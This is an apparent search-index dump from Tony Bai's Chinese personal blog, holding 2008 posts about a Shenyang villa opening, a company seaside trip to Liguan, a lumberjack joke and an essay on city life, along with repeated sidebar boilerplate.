年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2008/08/06/watch-bird-nest-and-water-cube-through-google-earth/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"Google上看鸟巢和水立方"},{"content":"周末，逢沈阳碧桂园·太阳城开盘，由于一些特殊原因，我也到了开盘现场，第一次感受到卖别墅是个什么样子的情形^_^。\n碧桂园这个开发商开发的楼盘都很有特点：那就是地点偏僻，地块巨大。每个盘至少也在几十万平方米，而且配套的设施很完备，酒店、幼儿园、超市都给你引到园内，让你的居住虽远离市区，但是感觉上却还很便利。据说广州的碧桂园超级大，里面公交车、麦当劳、酒店、娱乐场所应有尽有，据说有上万户业主，真是一座城。正是由于地块大，所以碧桂园的楼盘名都是xx城，今天开盘的是位于沈北新区蒲河上的碧桂园太阳城。\n从沈阳市府广场做空调大巴车需近40分钟才能到达偏远的园区，步入园区的第一眼就是一条笔直大马路，不愧有城的魄力；由于是开盘，所以园区内很是热闹，锣鼓、音乐、汽车鸣笛以及远处还在建的楼房的机器轰鸣声交织在一起，让人觉得仿佛置身于喧闹的集市。\n下车后北面是一个足有千平米的休闲广场，一个巨大的白色帆布顶棚罩在广场上方，广场周围就是办理咨询和购买别墅事宜的办公区了，还有一些借机宣传的各种车商和装饰材料的摊位。\n姑且叫作太阳城广场\n辛苦的乐队\n广场上的福娃助兴\n广场上的小丑\n广场上还有一个世界足球大赛的比赛用球展，很是不错，留照纪念：\n世界大赛用球展\n1998世界杯专用球\n2002世界杯专用球\n2006世界杯专用球\n2004欧洲杯专用球\n2008欧洲杯专用球\n2008北京奥运会专用足球\n2008北京奥运会专用足球细节\n购房区人群攒动，由于不是来买房，遂无暇逗留，倒是再往北面的别墅样板区很是吸引我，一路上碧桂园的保安和物业都表现出不错的服务态度。这不一个小保安很是欢喜的让我们给他留了张影。\n爱拍照的保安小伙儿\n别墅有两种：联排和双拼，面积都不小，最小的估计也有300多平，从外观来看，很是漂亮，合我的口味，只是我买不起罢了:) 别墅内的装修感觉倒是马马虎虎，也可能不是我喜欢的风格，没有细致欣赏。反倒是别墅内宽大的房间以及一层外的上百平的私家草坪让我真正感受到了别墅的魅力-空间大，那叫一个舒服。如果你在市内买一个多层或者小高层，无论楼盘多大，你都要和成百上千人共享绿地，而在别墅区，那是你自己的领地，感觉真是不同啊。还有同样是服务，别墅区也许就是1对1的服务，而在其他楼盘，也许是:100的服务，看来买别墅，特别是买大开发商的别墅买的就是一个服务。样板间是不允许拍照的，这里仅贴出外观照，也是偷拍的:)\n双拼别墅\n联排别墅-1\n联排别墅-2\n在太阳城逗留了一个半小时，返回市内。\n","permalink":"https://tonybai.com/2008/08/04/visit-sun-city-of-countrygarden/","summary":"\u003cp\u003e周末，逢沈阳碧桂园·太阳城开盘，由于一些特殊原因，我也到了开盘现场，第一次感受到卖别墅是个什么样子的情形^_^。\u003c/p\u003e\n\u003cp\u003e碧桂园这个开发商开发的楼盘都很有特点：那就是地点偏僻，地块巨大。每个盘至少也在几十万平方米，而且配套的设施很完备，酒店、幼儿园、超市都给你引到园内，让你的居住虽远离市区，但是感觉上却还很便利。据说广州的碧桂园超级大，里面公交车、麦当劳、酒店、娱乐场所应有尽有，据说有上万户业主，真是一座城。正是由于地块大，所以碧桂园的楼盘名都是xx城，今天开盘的是位于沈北新区蒲河上的碧桂园太阳城。\u003c/p\u003e","title":"别墅·空间·服务"},{"content":"部门每年都会组织全体人员进行一次短途游，一般是在省内。工作四年了，算这次我一共去了3次；去年因搬家没去成。自然风光旅游无非山和水，这次我们选择了水-位于大连瓦房店李官镇的一个海滨浴场，前两次我们去的都是山。\n爬山累，我喜欢看大海，一来是有近两年未到过大海了；二是忙乎了半年多，到海边放松一下心情，这也是这次我决定去的原因。由于以前有过部门海边旅游的经历，所以基本上我将期望降到了最低，毕竟北方的海滩和南方的比起来要逊色很多，北方海水的清澈度和洁净度、海岸环境的建设水准以及相关服务设施的配套程度可能都远不及南方的海。况且本次李官的海还不算是北方的优良海滩，其旅游资源开发力度和规模都还不足。\n海边简陋的旅馆\n从沈阳出发到李官走高速也就三个多小时，在车上看两部片子也就到了。我们周六早上出发，中午10点多久到了\u0026quot;下榻\u0026quot;的旅店，一座三层小楼，五个人一间房，除了五张床之外，别无他物，这些早在途中导游就已经给我打了预防针。海边游一般都是自由活动，愿意下海的下海，不愿意的呢，三五成群的支上桌子打牌和摆麻将。我到海边向来都是要下海的，吃完\u0026quot;不堪回首\u0026quot;的午饭后，召集若干兄弟一起到海边游泳。旅店门前150米处就是大海，正对面的大海很干净，海水很清澈，几乎没有什么人在这里游玩，在午饭之前“探路时”我们就打算下午到这里来玩，但是我们一直很疑惑这么好的水为什么没有人玩呢，直到我们光着脚丫下水后才彻底顿悟，原来这片海水区域下竟都是拳头般大小的石头，双脚踏上后痛苦难当。先期到达这里的兄弟们都在离岸边更远的地方，他们说那的海底石头较少。我们既然下来了那就硬着头皮也要冲进去，经过一段时间“艰难跋涉”，我们来到了石头较少的地带，不过也不是全无石头，稍有不慎，脚趾就很可能装上一块石头，让你“疼痛难当”！\n退潮之后满是石头的海滩\n游了一阵，人渐稀少，大家都因惧怕石头划伤脚而转移阵地了，同样的担心也让我们做出了“撤离“的决定。海滩上大多数人都集中在一片专门的浴场嬉戏，那儿石头较少，海底多位细沙，基本不用担心划伤脚，但缺点也是有的，人多，水又浑又不干净。但是没办法，就这块才能游。\n从1点玩到三点半，感觉有些累了，遂收工回营。冲去海水后，倒在床上休息一会儿，竟不知不觉中睡了半个小时，早上起来太早，的确有些疲倦。起来后，在一个牌局前观战，直到日头开始下山。日落前到天完全黑下来这段时间我感觉是大海最美的时候，坐在沙滩上，看着一起一伏的海水，吹着凉凉的海风，那种感觉甚是惬意。\n水光粼粼\n涨潮\n海边的晚上总有人喜欢买些礼花燃放，这让我们也一饱眼福。这里还有个特殊的项目-放孔明灯，这是我以前到其他海滩不曾看到的。说实话第一次亲身看到如何放孔明灯。一副孔明灯要价不菲-20元。这里的孔明灯用酒精块作为给灯内空气加热的原料，点燃后大约2-3分钟，灯就被热气充起来了，这时候放手，灯就很平稳的飞了起来，而且飞的很高。灯在海风的吹拂下也会飞的很远，直到燃料用尽。飞在空中的孔明灯，特别是如果一起放飞多个孔明灯，这些灯在空中还真如UFO，怪不得前些时候英国发现的UFO被证实其是是中国传统的孔明灯。\n白天累了，晚上自然睡的也就很踏实，虽然床有些小，有些硬，但是海边的凉爽的空气有助于深度睡眠。\n第二天早上起来，突然脚部不适，抬起一看，居然发现右脚脚底有两道划伤，留着血和一些透明液体，一个脚趾的顶部也破了，受伤脚已经明显比另一只脚肿起许多，划伤想必是海底的石头导致的。我也很纳闷儿，昨天一点感觉也没有呢？由于没有碘酒等药品，只能拿消毒湿巾先擦拭。站起来伸伸懒腰发现后背的皮肤甚是疼痛，显然是昨天被太阳晒伤了，这也是第一次。还好不是很严重，没有脱皮，不知道未来几天会有什么发展。\n按计划，上午是去一处龙王庙，本来对其不感兴趣，但又无所事事，就跟着团去了一趟。庙不大，私人集资兴建的，年头估计也不长，庙内陈设略有些粗糙。转了一圈没什么可看的，就回到车上。中午返回沈阳。\n龙王庙\n这一趟基本达到了放松的目的，但身受轻伤是始所未料的。\n","permalink":"https://tonybai.com/2008/07/28/a-tour-of-liguan-at-weekends/","summary":"\u003cp\u003e部门每年都会组织全体人员进行一次短途游，一般是在省内。工作四年了，算这次我一共去了3次；去年因搬家没去成。自然风光旅游无非山和水，这次我们选择了水-位于大连瓦房店李官镇的一个海滨浴场，前两次我们去的都是山。\u003c/p\u003e","title":"周末李官游"},{"content":"一则笑话。非原创，改编自网络。\n话说有这么一天，Tony Bai!\nTony Bai是谁知道不?\n哎，哎，哎，哎，那位摇头的我来告诉你，Tony Bai就是me ^_^\n话说Tony Bai，你猜猜他在哪呢？\n告诉你吧，在一片大森林里。\n在大森林里做啥子呢？ 扛大树，哦，no。是伐木，然后将砍倒的树扛到船上。\n你要说Tony Bai哪有这么大劲儿么，靠，你小瞧我了(展示肌肉，一看就是头脑简单，四肢发达型)。\n话说这一天，林场老板也在这看着工人们扛树，伐木。老板被惊呆了，惊呆了啊，哇塞，这这哪是人啊，这简直是神，老板指着正扛着大树的\nTony Bai\n你可能会说Tony Bai咋个神法儿呢？\n老板叫住了Tony Bai，上下打量，打量又打量，Tony差点被看毛了。只见老板憋得脸通红，突然张着大嘴以惊讶的语气对Tony Bai说：\u0026ldquo;我刚才\n一直看着你，你居然在60秒钟内砍了….砍了20棵树，然后又把它们搬到了船上，你简直太厉害了啊，人才啊，人才啊！\nTony Bai面无表情的说：是吗？我一直都是这么做的啊。\n老板高兴的说：太好了，有你这样的员工简直是我的福分啊。好好干啊，必须给你加薪！必须的。\nTony Bai依旧面无表情的说：谢谢啊。\n老板刚想走，但突然想起一个问题，遂回头问道：“Tony ，你以前是在哪做事的？”\nTony Bai依旧面无表情的说：我，我在一个叫“撒哈拉大森林”的地方做伐木工。\n老板将脑袋左转了720度，又右转了720度，也没听说过有“撒哈拉大森林”这个地方，就对Tony Bai说：“我好像只听说过一个叫撒哈拉大沙漠\n的地方，没听过有撒哈拉大森林啊”？\nTony Bai说：“没错老板，一个地方，我也不知道为什么，自打我在那干完活儿后，人们就叫它”撒哈拉大沙漠“了。\n#$%\u0026amp;*^@#$\n听说那位老板的嘴巴有一个月没有合拢过。\n","permalink":"https://tonybai.com/2008/07/24/a-joke-sahara-forest/","summary":"\u003cp\u003e一则笑话。非原创，改编自网络。\u003c/p\u003e\n\u003cp\u003e话说有这么一天，Tony Bai!\u003c/p\u003e\n\u003cp\u003eTony Bai是谁知道不?\u003c/p\u003e\n\u003cp\u003e哎，哎，哎，哎，那位摇头的我来告诉你，Tony Bai就是me ^_^\u003c/p\u003e\n\u003cp\u003e话说Tony Bai，你猜猜他在哪呢？\u003c/p\u003e","title":"“撒哈拉大森林”"},{"content":"坐在开向公司的班车上，看着窗外熙攘的人群、车水马龙的街道，突然莫名有一种窒息的感觉。\n盛夏炽热的阳光射在身上，总是感觉身体中的水分正在被一只无形的大手一捧一捧的掠走。宽阔的马路两边却少有林荫，无法给行人遮阳。男士们到也不在乎这些，女士们则打着遮阳伞，估计脸上还擦了SPF至少为8以上的厚厚的一层化学物质以低于强烈的紫外线。\n两侧高耸的建筑物让这个城市的散发着足球的现代化的气息，但建筑物外表的整块整块的大玻璃却太阳光无情的反射到路面上，让人们的眼睛感觉甚是不舒服。\n满街的公车、私车混合在一起，从一个交通信号路口排到上一个交通信号路口， 路面上顿时升腾出一股气浪，热腾腾的，还夹杂着浓烈的汽油、柴油混合的味道，不时一辆载满乘客的公交车从身边驶过，留下来一串浓黑的尾气，路边等车的人赶忙向上风处躲闪，做出用手捂住口鼻这样的心理安慰性的动作，大家都知道这样是不行的，尾气早已悄悄地进入到了你的呼吸系统，至于其深远的影响，也许只有God才知道。\n到处是工地，也许这就是现在中国的国情吧。中国富裕了！路，凿了再修；树，砍了再栽；楼，炸了再盖；没有河的地方，挖河引流，拆路造桥；没土地的沿海地区，填海造地；怪不得很多老外每隔一段时间来到中国，都会举起大拇指说：中国又发生巨大变化了，到处都是新的。而\u0026quot;我们\u0026quot;的回答：这是必须的。\n穿过刚刚改为双向通行的三好街，其南端有一处庞大的工地。工地周围的马路上到处是大型工程车辆，胡乱鸣笛，路人无不皱起眉头。\n突然想到了海，感觉心里一阵凉爽之意。东北地区以内陆为主。海，对于大多数人来说都是奢侈之物。羡慕那些生存在海边的人们，也终于理解了为什么很多人选择在临海的城市定居，也许在他们感受到城市话带来的窒息的感觉之余，大海的气息会给他们带来心灵上的慰藉。\n这个月末去看海！\n","permalink":"https://tonybai.com/2008/07/14/the-city-make-me-stifling/","summary":"\u003cp\u003e坐在开向公司的班车上，看着窗外熙攘的人群、车水马龙的街道，突然莫名有一种窒息的感觉。\u003c/p\u003e\n\u003cp\u003e盛夏炽热的阳光射在身上，总是感觉身体中的水分正在被一只无形的大手一捧一捧的掠走。宽阔的马路两边却少有林荫，无法给行人遮阳。男士们到也不在乎这些，女士们则打着遮阳伞，估计脸上还擦了SPF至少为8以上的厚厚的一层化学物质以低于强烈的紫外线。\u003c/p\u003e","title":"城市窒息"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2008/06/09/beijing-olympic-torch-step-in-kunming/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"奥运圣火走进春城昆明"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 